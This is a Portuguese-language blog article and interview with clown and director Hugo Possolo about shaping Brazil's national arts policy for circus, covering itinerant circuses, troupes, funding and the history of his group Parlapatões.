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Possolo: articulação política para o circo

 

Hugo Possolo (camisa azul) primeira reunião para definir calendário e prioridades / Foto PNA

 

Fernanda Araujo
Especial para o Panis & Circus

A partir do segundo semestre o circo brasileiro poderá conviver com uma nova política de fomento para setor. O responsável pelo levantamento das informações e discussões sobre as demandas da área circense para o Plano Nacional de Artes (PNA) é Hugo Possolo.

“No dia 23, foi feita uma reunião com representantes de circos itinerantes, no Teatro Arena, em São Paulo. No dia 29, será a vez de ouvir os grupos e trupes no Rio, na Funarte. A ideia é fazer seis encontros até meados de março, quando vou entregar o primeiro material”, explica o ator, palhaço, diretor e um dos criadores dos Parlapatões.

O levantamento de Possolo na área de circo será reunido com o que vem sendo feito por Cacá Machado, sobre o setor da música, Jaqueline Medeiros (artes visuais), Marcelo Bones (teatro), Rui Moreira (dança), Sérgio Cohn (literatura), e vai resultar em um documento que percorrerá o País e será discutido durante a Caravana das Artes. O resultado final será o estabelecimento da Política Nacional das Artes (PNA) do governo federal.

De acordo com o artista, todo esse estudo tem por objetivo construir uma base de pensamento e uma perspectiva de médio e longo prazo nas artes. “A PNA está sendo construída pelo Ministério da Cultura com o objetivo de implementar políticas públicas atualizadas, fundamentadas e duradouras com base nas seguintes linguagens: artes visuais, circo, dança, literatura, música e teatro”, afirma Possolo.

 

"Palhaço e agitador cultural" / Foto Valor Econômico.

 

Os primeiros encontros realizados pelos articuladores – cada área tem o seu – ocorreram no segundo semestre do ano passado. As reuniões contaram com a participação de representantes das cadeias produtivas. No site culturadigital.br os interessados podem dar sugestões e acompanhar as discussões.

Os principais eixos de discussão da PNA são: fortalecimento da ação do Estado no planejamento e na execução das políticas culturais; incentivo, proteção e valorização da diversidade artística e cultural brasileira; universalização do acesso dos brasileiros à fruição e à produção cultural, ampliação da participação da cultura no desenvolvimento socioeconômico sustentável; consolidação de sistemas de participação na gestão das políticas culturais.

 

Cartaz Caravana das Artes faz turnê pelo Brasil

 

Hugo Possolo, escolhido como articulador da Política Nacional das Artes (PNA), aprendeu técnicas circenses no Circo-Escola Picadeiro, em São Paulo, e cursou Comunicação Social e História.

Foi indicado para coordenar os trabalhos na área circense pelo presidente da Funarte, Francisco Bosco, e pelo ministro da Cultura, Juca Ferreira, para o lugar de Junior Perim, do Circo Crescer e Viver, do Rio, que se viu impossibilitado de exercer o papel de articulador por causa da organização do Festival Internacional de Circo do Rio de Janeiro.
Confira a seguir a entrevista concedida por Possolo para o Panis & Circus.

Panis & Circus – Como surgiu o convite para o cargo?

Hugo Possolo – O convite partiu do ministro da Cultura, Juca Ferreira, e do presidente da Funarte, Francisco Bosco. O comitê-executivo da Política Nacional das Artes comandado por eles já tinha escolhido os consultores, isto é, as pessoas responsáveis por fazer contatos com todos os setores. Na área circense, o responsável por esse trabalho era o Junior Perim, que organiza o Festival Internacional de Circo do Rio de Janeiro. Ele estava em um momento em que era difícil dar conta das duas coisas. Então, ele mesmo falou comigo e, em seguida, abriu mão do cargo. E pelo perfil, por eu já ter sido coordenador, me convidaram. Agora preciso correr atrás do tempo.

Panis & Circus – Quando recebeu a solicitação?

Hugo Possolo – No começo de dezembro, depois que o Junior abriu mão. Eu pedi um tempo para pensar, pois, na verdade, não é um cargo público. Sou consultor do Ministério e da Funarte para a formulação do que vem a ser essa política para circo, não do ponto de vista imediato, mas do ponto de vista do Estado. O objetivo é construir uma base de pensamento e a perspectiva de médio e longo prazo.

 

Hugo Possolo em "O Burguês Fidalgo", de Molière/Foto Asa Campos

 

Panis & Circus – Quais os passos que vai dar nesse trabalho?

Hugo Possolo – A primeira coisa é organizar os campos de abordagem e ver que assuntos interessam ao circo. Nas primeiras reuniões, tenho orientado a discussão de temas como fomento, circulação, informação, patrimônio e pesquisa, relações políticas internas dentro do próprio governo e as relações externas – que podem ser as internacionais ou nos planos estaduais e municipais –, a questão da federalização da atividade, dos marcos legais e dos projetos de lei e incentivo. Precisamos ter um panorama de tudo. Estou criando capítulos de um livro, que será esse grande documento final. Farei encontros com vários setores, como parte do papel do articulador. Uma primeira reunião será com representantes de circos itinerantes, das Regiões Sudeste e Sul, depois com os do Norte e Nordeste, tentando abrigar os do Centro-Oeste, na medida do possível, nas duas reuniões. Queremos ouvir as demandas dessa categoria.

Panis e Circus – Esses encontros já têm data?

Hugo Possolo – Dia 23 de fevereiro fizemos o encontro de circos itinerantes, no Teatro Arena, em São Paulo. Dia 29 será a vez de grupos e trupes, na Funarte, no Rio. A ideia é fazer, no mínimo, seis grandes encontros, até meados de março, quando entrego um primeiro material. Em abril, maio e junho vão ocorrer as viagens do comitê-executivo da Política Nacional das Artes para avaliar o que será o documento final.

Panis & Circus – O cargo tem um tempo determinado?

Hugo Possolo – Tem. A consultoria vai até junho.

Panis & Circus – Como você vê a situação atual do mundo circense?

Hugo Possolo – Tem de ter o foco de fortalecimento do circo itinerante, sem perder de perspectiva o avanço estético que os grupos e trupes estão trazendo. É preciso atender tanto o circo itinerante quanto os grupos e trupes, o que vai fazer o circo caminhar conjuntamente. Creio que a maior força não está em fomentar o ponto de vista de criação de novos espetáculos. Se você tem editais de novos espetáculos todos os anos, você está criando muitos espetáculos e não está fazendo eles circularem. Imagino que do ponto de vista federativo seja muito mais interessante facilitar a circulação de grupos e trupes e ajudar na circulação do circo itinerante, que estão aí, mas com muito mais dificuldade.

 

Cena de Hugo Possolo em "O Burguês Fidalgo"/Foto Asa Campos

 

 

Panis & Circus – O que o levou a iniciar os encontros pelo circo tradicional?

Hugo Possolo – Exatamente porque eu acho que tem ficado de lado. Os grupos e trupes (contemporâneos), por exemplo, são sediados em sua cidade e ali estabelecem relacionamentos com as secretarias de cultura, com a mídia, com o público. O circo itinerante (tradicional) depende um pouco do favor político de cada lugar por onde passa. Tem dificuldade para criar vínculo. No final, grupos e trupes eu conheço bem. Então preciso começar por aquilo que não sei muito bem, ou seja, sob a lona.

Panis & Circus – Como mapear os grupos e o que está sendo feito?

Hugo Possolo – O que se pode fazer do ponto de vista da estrutura da Funarte é usar toda a rede de conhecimento que há para termos uma localização de tudo o que está sendo produzido. Os editais – federais, estaduais, municipais – já oferecem um retrato do que está mais ativo. Então, já é possível traçar grosso modo um certo retrato da produção. Grosso modo mesmo, pois muitas coisas funcionam de maneira irregular, não entram no edital já que não têm documentação para tanto ou não se interessam.

 

Circo-teatro Biriba resiste ao tempo / Foto Jamile Batista da Silva

 

Panis & Circus – Quando você diz na imprensa que “as trupes de circo conseguem sobreviver porque são menores e mais articuladas”, que tipo de articulação se refere?

Hugo Possolo – São nichos de mercado diferentes. A França, por exemplo, fez um desenho de política que priorizou o circo em relação ao cinema, teatro e dança. Ela colheu os frutos internacionais do reconhecimento disso. No Brasil, com o advento das escolas de circo, surgiram novos grupos. Eles ocuparam nichos e mercados, de contratação de espetáculos, de participação nos festivais, que pertenciam também ao circo itinerante, mas que eles, até então, nem percebiam essa possibilidade. Hoje algumas trupes de circo tradicional disputam o mesmo espaço no mercado, acontece que também algumas trupes e grupos acabam empreendendo aventuras sob a lona. É o meu exemplo, do Zanni, de tentar fazer esse caminho de espetáculo com arquitetura circense. Mas é bastante oneroso, não é uma coisa simples para quem não nasceu nesse sistema de vida. Existem exemplos tradicionais do circo-teatro do Tubinho (a trajetória da ‘família Tubinho’ começou em 1918 quando Juvenor Garcia casou-se com Lola Garcia e juntos resolveram montar a companhia) e do Biriba (fundado em 1943, pelo gaúcho Hermónoges Aleluia Roque, em um pavilhão de zinco, na cidade de Buri/SP) e eles têm uma vida própria, pois trabalham com a figura do palhaço à frente e também com o teatro. Como fazer um tipo de política para que isso não se perca? Eles sobrevivem de bilheteria, independentemente de leis de incentivo, coisa que o teatro tradicional no Brasil não consegue.

Panis & Circus – Como você vê as famílias circenses nos dias de hoje?

Hugo Possolo – Em geral elas estão agregadas em circos muito pequenos, quando são empreendedoras, ou são pequenos núcleos empregados em circos médios e grandes. A tradição familiar ainda é muito forte. Elas conseguem transmitir a ideia do nomadismo da itinerância, pois é muito difícil itinerar se você não tiver nascido e vivido nesse meio. No Brasil não há uma estrutura de negócio. O circo Europeu, por mais familiar que ele seja, já tem algumas estruturas diferentes que independem até das relações familiares.
Isso é importante, pois significa a sobrevivência da própria arte.

Panis & Circus – Por quê, em sua opinião, o circo tradicional foi abandonado?

Hugo Possolo – É um conjunto de situações históricas. Primeiro, a questão territorial. Com a expansão das cidades nas décadas de 1960 e 1970 os terrenos ficaram escassos, as lonas diminuíram para se adequar a espaços reduzidos e foram se afastando para as margens das cidades. O advento das escolas permitiu que jovens de outras formações viessem a trabalhar com o circo e isso gerou novas influências. Além disso, com o advento do videocassete, da internet e do youtube houve uma salada estética com referência de tudo quanto é lado. Uma coisa que ajudou foi a televisão brasileira e o rádio copiarem o circo no seu começo e depois o circo começou a se alimentar da estética da televisão. Então é engraçado, criou-se um círculo vicioso e a estética passou a ser corrompida.

Panis & Circus – Qual a influência da saída dos animais sobre o circo?

Hugo Possolo – O circo perdeu uma atração, perdeu público, claro. Mas eu acho que o circo itinerante já se reinventou. Ele não depende mais disso.

 

Montagner e Possolo carregam o andor com peças de Piolin destinadas ao CMC / Foto Sylvia Masini

 

Panis & Circus – Quais os seus planos para o circo contemporâneo?

Hugo Possolo – Eu acredito nesse paralelo, do circo tradicional circular com mais fluidez e do estímulo ao aspecto criativo e estético do circo contemporâneo. Bem, na verdade, todo circo é contemporâneo, pois vivemos o mesmo tempo. Eu sei que todo mundo usa essa divisão, mas eu tenho tratado mais como circo itinerante (sob arquitetura da lona) e grupos e trupes (que em geral vêm de escolas de circo).

Panis & Circus – No Brasil, como você acha que está o circo comparado com outras artes?

Hugo Possolo – O circo sempre foi tratado como ‘o primo pobre’. Cada vez que falamos isso em termos de política pública todo mundo diz ‘não, não é bem isso, pois adoramos o circo’. Eu digo o seguinte: um espetáculo de circo de grande porte é quase tão caro quanto um longa-metragem no Brasil, ou seja, precisaria de uma verba equivalente. E, na prática, ele é tratado com uma verba menor que a do teatro. Não compreendem sua dimensão. Se fosse pegar uma média de 2.000 lonas itinerando pelo País, sem contar grupos e trupes que também circulam, só de cadeiras disponíveis para público brasileiro, hoje, é quase dez vezes maior que toda a produção brasileira do cinema nacional em um ano.
Se o circo atende muito mais público, qual a razão de as políticas públicas não se voltarem para atender a essa população?

 

 

Hugo Possolo em "A Nave Louca do Circo", em 2014, no Municipal/Foto Asa Campos

 

O “circo” dos Parlapatões

O grupo Parlapatões nasceu em 1991 na cidade de São Paulo pelas mãos de Hugo Possolo e Alexandre Roit. Os primeiros espetáculos eram números circenses simples, que terminavam com a contribuição sendo recolhida dos espectadores na passagem de um chapéu. Aos poucos, eles foram ganhando uma forma teatral, resultando nos espetáculos “Nada de Novo” e “Bem Debaixo do Nariz”.

Em 1992, usando elementos do teatro de rua e de circo dentro da sala de espetáculo, apresentaram o espetáculo “Parlapatões, Patifes e Paspalhões”. De lá para cá, os Parlapatões apresentaram espetáculos em vários países, ganharam muitos prêmios como o Estímulo, em 1995, da Secretaria de Estado da Cultura de São Paulo, e o Grande Prêmio da Crítica 1997, da Associação Paulista de Críticos de Arte.

A partir de 1999, o grupo passou a fazer a programação da Sala Repertório do Novo Teatro Brasileiro de Comédia (TBC), com o Projeto Pantagruel, adaptação para o palco da obra de François Rabelais. Em 2007, o grupo estreou no Espaço Parlapatões o infantil Parlapatões – “Clássicos do Circo”, com texto e direção de Hugo Possolo. Atualmente, o grupo mantém o Espaço Parlapatões – teatro considerado um dos marcos na revitalização do centro paulistano – e o Galpão Parlapatões – centro de ensaios, treinamentos e cursos geridos pela companhia.

Postagem – Alyne Albuquerque

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